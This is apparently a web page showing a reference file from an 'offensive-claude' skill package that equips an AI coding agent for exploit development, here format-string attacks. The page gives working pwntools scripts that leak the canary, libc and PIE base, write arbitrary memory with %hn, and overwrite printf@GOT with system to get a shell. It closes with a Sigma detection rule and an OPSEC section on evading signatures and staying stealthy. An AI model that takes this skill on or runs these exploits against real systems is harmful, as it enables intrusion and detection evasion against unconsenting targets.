Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

references/format-string-leaks.md

View on GitHub
# Format String Exploitation & Leak Primitives

CWE-134 (uncontrolled format string). ATT&CK T1203.

## Theory / Mechanism

A format string bug exists when attacker input reaches the *format* argument of a `printf`-family call: `printf(user)` instead of `printf("%s", user)`. The format engine walks variadic arguments according to conversion specifiers; with no real arguments supplied, it reads from registers then up the stack.

This single class gives you **both halves of an exploit**:

- **Read primitive** — `%p`/`%lx` dumps stack qwords; `%s` dereferences a pointer argument and prints the string. Used to leak the stack canary, a libc address (from a saved return/GOT pointer), or the PIE base.
- **Write primitive** — `%n` writes the number of bytes printed so far to the pointer argument. `%hn` writes a 2-byte short, `%hhn` a single byte. By controlling the print count with width specifiers (`%64c`) you write arbitrary values; positional `%k$n` targets the k-th argument so you can place a target pointer on the stack and write to it.

### Positional arguments and the offset

The k-th variadic slot is `%k$p` (read) / `%k$n` (write). The "offset" is which `%k$` lands on the start of your own controlled buffer (so you can stage target addresses there). Find it by sending `AAAAAAAA.%1$p.%2$p.%3$p...` and looking for `0x4141414141414141`.

### Why `%n` writes are done in shorts

Writing a full 64-bit value with `%n` would require printing ~`addr` bytes — infeasible. Instead split the target value into 2-byte chunks and write each with `%hn` at consecutive addresses, ordering the writes by ascending value to keep the running byte count monotonic. `pwntools` `fmtstr_payload` automates this.

### Modern endgame targets (Full RELRO aware)

- Partial RELRO: overwrite a GOT entry (e.g., redirect `printf`@got -> `system`, then the next `printf(user)` runs `system(user)` — "magic" one-shot).
- Full RELRO: GOT is read-only. Overwrite a **return address on the stack** (you can leak the stack via `%p`), or the saved canary + return, or exit handlers / `_IO_2_1_stdout_` for FSOP (see heap reference).
- Stack-only: overwrite a stored return address to a one_gadget.

## Working Code

### Stage 1 — locate offset and leak (canary, libc, PIE)

```python
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fmt')
libc = ELF('./libc.so.6')

def find_offset():
    for k in range(1, 40):
        p = process('./fmt')
        p.sendline(f'AAAAAAAA.%{k}$p'.encode())
        out = p.recvline()
        p.close()
        if b'0x4141414141414141' in out:
            log.success(f'controlled-buffer offset = {k}')
            return k
    raise RuntimeError('offset not found')

OFF = find_offset()
p = process('./fmt')
# Leak: canary usually printable as ...00 low byte; libc/PIE via known stack positions.
p.sendline(b'%6$p|%21$p|%23$p')                 # tune indices per target
canary, libc_leak, pie_leak = (int(x, 16) for x in p.recvline().split(b'|'))
libc.address = libc_leak - libc.symbols['__libc_start_call_main'] - 128  # adjust per build
elf.address  = pie_leak  - elf.symbols['main']
log.info(f'canary={hex(canary)} libc={hex(libc.address)} pie={hex(elf.address)}')
```

### Stage 2 — arbitrary write with pwntools fmtstr_payload

```python
# Overwrite a saved return address (Full RELRO) with a one_gadget, or GOT (Partial RELRO).
one = libc.address + 0x50a37            # from: one_gadget ./libc.so.6
ret_addr = leaked_stack_ret_slot        # leaked via %p in stage 1

payload = fmtstr_payload(
    OFF,
    {ret_addr: one},                    # {target_address: value}
    write_size='short',                 # %hn chunks; 'byte' for tighter control
    numbwritten=0,                       # bytes already printed before our payload
)
p.sendline(payload)
p.interactive()
```

### Manual `%hn` write (when no library / weird constraints)

```python
def manual_write(addr, value, off):
    # write 'value' as two 16-bit halves at addr and addr+2, ascending order
    lo, hi = value & 0xffff, (value >> 16) & 0xffff
    order = sorted([(lo, addr), (hi, addr+2)])
    out, printed = b'', 0
    fmt = b''
    # First: emit the %c padding + %k$hn specifiers, then the address table.
    # Layout: [format specifiers][padding to 8-align][addr0][addr1]
    # The %k$ index points past the specifier block to the address table.
    specs = b''
    for i, (val, _) in enumerate(order):
        pad = (val - printed) & 0xffff
        if pad:
            specs += b'%' + str(pad).encode() + b'c'
            printed = (printed + pad) & 0xffff
        specs += b'%' + str(off + i + addr_block_index).encode() + b'$hn'
    specs = specs.ljust((len(specs) + 7) & ~7, b'.')   # 8-byte align before addrs
    return specs + b''.join(p64(a) for _, a in order)
```

### Partial-RELRO one-shot: printf@GOT -> system

```python
# If the program loops calling printf(user), point printf -> system once,
# then the next iteration of printf(user) executes system(user).
payload = fmtstr_payload(OFF, {elf.got['printf']: libc.symbols['system']})
p.sendline(payload)
p.sendline(b'/bin/sh')      # next printf(user) == system("/bin/sh")
p.interactive()
```

## Detection

```yaml
# Sigma: format-string conversion specifiers in untrusted input / process args
title: Format String Specifiers in Untrusted Input
logsource: { category: webserver }
detection:
  selection:
    c-uri|re: '%[0-9]*\$?(n|hn|hhn|p|s|x)'   # %n, %7$hn, %p, %s in URL/params
  condition: selection
level: medium
```

Telemetry/IOCs: presence of `%n`/`%hn`/`%p`/`%s` and `%<num>$` sequences in HTTP params, CLI argv, log entries, or filenames; SIGSEGV when a `%n` write hits an unmapped page (failed write target); long runs of `%c` padding (large field widths) in captured input. WAF rules should flag dense `%`-specifier strings. A daemon that begins emitting raw stack/heap pointers in its output (information disclosure) is the read-primitive IOC.

## OPSEC

- **What it touches**: process memory + whatever the corrupted output goes to (often the response/log). The format string itself is highly signaturable — minimize `%` density and avoid giant `%999999c` widths (slow + obvious + may exhaust output buffers).
- **Two-shot vs one-shot**: leaking then writing in separate requests reduces per-payload signature but doubles the request count (more log lines). Balance per target.
- **Write target choice**: hitting an unmapped/RO address aborts the process (SIGSEGV/RELRO trap) — verify the target is writable first via a `%s` read. Prefer overwriting a stack return slot you leaked over guessing GOT under Full RELRO.
- **Cleanup**: a successful printf->system swap permanently changes a GOT entry; the process behaves abnormally afterward (every printf becomes system). If stealth matters, restore the original GOT value once you have code exec, or use a stack-return overwrite that self-cleans after one call.

## References

- pwntools `fmtstr_payload` / `FmtStr` — https://docs.pwntools.com/en/stable/fmtstr.html
- CWE-134 Uncontrolled Format String — https://cwe.mitre.org/data/definitions/134.html
- "Exploiting Format String Vulnerabilities" (classic + modern RELRO notes) — https://book.hacktricks.xyz/binary-exploitation/format-strings
- one_gadget — https://github.com/david942j/one_gadget
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall